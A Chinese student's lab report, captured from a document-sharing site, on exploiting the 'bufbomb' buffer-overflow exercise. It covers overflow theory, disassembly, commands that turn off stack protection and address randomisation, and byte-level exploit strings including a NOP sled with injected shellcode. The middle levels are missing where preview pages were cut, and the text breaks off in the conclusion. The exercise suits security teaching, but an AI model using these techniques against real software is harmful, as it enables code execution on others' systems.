网络 缓冲区溢出 强敏 2010117201

上传人:wt****50 文档编号:33641068 上传时间:2018-02-16 格式:DOC 页数:8 大小:158.50KB
返回 下载 相关 举报
网络 缓冲区溢出 强敏 2010117201_第1页
第1页 / 共8页
网络 缓冲区溢出 强敏 2010117201_第2页
第2页 / 共8页
网络 缓冲区溢出 强敏 2010117201_第3页
第3页 / 共8页
网络 缓冲区溢出 强敏 2010117201_第4页
第4页 / 共8页
网络 缓冲区溢出 强敏 2010117201_第5页
第5页 / 共8页
点击查看更多>>
资源描述

《网络 缓冲区溢出 强敏 2010117201》由会员分享,可在线阅读,更多相关《网络 缓冲区溢出 强敏 2010117201(8页珍藏版)》请在金锄头文库上搜索。

1、网络安全上机作业学号:2010117201姓名:强 敏专业:计算机科学与技术二班院系:信息学院一 实验题目基于缓冲区溢出的攻击二 实验目的1.掌握缓冲区溢出的原理;2.掌握缓冲区溢出漏洞的利用技巧;3.理解缓冲区溢出漏洞的防范措施。三 实验环境操作系统:Windows7编译平台:Visual C+ 6.0调试环境:OllyDbg四 实验原理缓冲区是内存中存放数据的地方。在程序试图将数据放到机器内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。而人为的溢出则是有一定企图的,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区,然后再向一个有限空间的缓冲区中植入超长的字符串,这时可能会出

2、现两个结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞可以执行任意指令,甚至可以取得系统 root 特级权限。 缓冲区是程序运行的时候机器内存中的一个连续块,它保存了给定类型的数据,随着动态分配变量会出现问题。大多时为了不占用太多的内存,一个有动态分配变量的程序在程序运行时才决定给它们分配多少内存。如果程序在动态分配缓冲区放入超长的数据,它就会溢出了。一个缓冲区溢出程序使用这个溢出的数据将汇编语言代码放到机器的内存里,通常是产生 root 权限的地方。仅仅单个的缓冲区溢出并不是问题的根本所在。但如果溢出送到能够以 root 权限运行

3、命令的区域,一旦运行这些命令,那可就等于把机器拱手相让了五 关键技术分析解题过程 33.1 Level 0: Candle 33.2 Level 1: Sparkler 43.3 Level 2: Firecracker 53.4 Level 3: Dynamite 53.5 Level 4: Nitroglycerin 6进入 bufbomb 所在的文件目录下,输入“objdump -d bufbomb”命令获得程序的反汇编代码。由于我进行实验的操作系统为 Ubuntu 9.10,GCC 版本为 4.4.1。这个版本的 GCC 对堆栈进行了保护。所以需要设置一些东西才能进行该实验:使用“su

4、do apt-get install execstack”下载该工具。安装完成后。进入 bufbomb 所在的目录下,输入“execstack s bufbomb”。使用“sudo -i”进入 root 权限。输入“echo 0 /proc/sys/kernel/randomize_va_space”。注意:该步骤在每次重新开机后都要进行设置。getbuf()的反汇编代码如下: 08049160 :8049160: 55 push %ebp8049161: 89 e5 mov %esp,%ebp8049163: 83 ec 18 sub $0x18,%esp8049166: 8d 45 f4

5、lea -0xc(%ebp),%eax8049169: 89 04 24 mov %eax,(%esp)804916c: e8 bf fd ff ff call 8048f30 8049171: b8 01 00 00 00 mov $0x1,%eax8049176: c9 leave 8049177: c3 ret 8049178: 90 nop8049179: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi由“lea -0xc(%ebp),%eax”和“mov %eax,(%esp)”两句可知,getbuf()将%ebp 栈基址往下 12 个字

6、节的地址作为参数,调用 Gets 函数。Gets 函数将以这个地址为起点,向上存储字符。返回地址%ebp::buf由上图可得,只要输入的字符串将 getbuf()的返回地址覆盖为 smoke()函数第一条语句的地址,在函数返回时就能进入并执行 smoke()函数。在反汇编代码中查到 smoke()函数第一条语句的地址为 0x08048ef0。在 level0.txt 文件中输入“30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 f0 8e 04 08”。注意字符串在内存中存储顺序为从一个内存单元的低字节向高字节。使用 sendstring 生成对应

7、上述输入的字符串的文件 level0-raw.txt。输入“./bufbomb -t 5070379044 :80490d0:55 push %ebp80490d1:89 e5 mov %esp,%ebp80490d3:83 ec 28 sub $0x28,%esp80490d6:c7 45 fc ef be ad de movl $0xdeadbeef,-0x4(%ebp)80490dd:c7 05 7c b0 04 08 04 movl $0x4,0x804b07c80490e4:00 00 00 80490e7:e8 c4 ff ff ff call 80490b0 testn()函数在

8、调用 getbufn()之前,将%ebp 向下移动了 0x28 个字节。则在调用getbufn()之前%ebp 与%esp 的关系为%ebp = %esp+0x28。在 getbufn()函数中将%eax 设置为 cookie 值,并将以前%ebp 与%esp 的关系还原,然后跳入 testn()函数中获得 getbufn()的返回值的语句(0x80490ec)即可。编写汇编代码如下:MOVL $0x532e6153,%EAXMOVL %ESP,%EDXADDL $0X28,%EDXMOVL %EDX, %EBPPUSH $0X80490ECRET使用“gcc c a.s”将汇编编译为目标文件

9、。然后使用“objdump d a.o”获得如下汇编代码的二进制代码如下:0:b8 53 61 2e 53 mov $0x532e6153,%eax5:89 e2 mov %esp,%edx7:83 c2 28 add $0x28,%edxa:89 d5 mov %edx,%ebpc:68 ec 90 04 08 push $0x80490ec11:c3 ret 在 level4.txt 文件中输入“90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

10、 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

11、 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

12、 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

13、 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

14、 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 b8 53 61 2e 53 89 e2 83 c2 28 89 d5 68 ec 90 04 08 c3 38 b7 ff bf”。使用命令“cat level4.txt | ./sendstring -n

15、 5 | ./bufbomb -n -t bovik”运行程序,程序显示“Type string:KABOOM!: getbufn returned 0x532e6153Keep goingType string:KABOOM!: getbufn returned 0x532e6153Keep goingType string:KABOOM!: getbufn returned 0x532e6153Keep goingType string:KABOOM!: getbufn returned 0x532e6153Keep goingType string:KABOOM!: getbufn returned 0x532e6153”。Leve4 通过。六 实验结论程序中遇到了很多问题,由于前面的实验只是验证性的,我主要说明做最后一个实验中遇到的问题与心得:1.溢出点定位时遇到的问题:溢出点定位应该是很简单的,但是这里的一个问题是字符串长了会覆盖参数,引起异常,我最初就以为溢出点位置为292个字符

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 生活休闲 > 社会民生

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号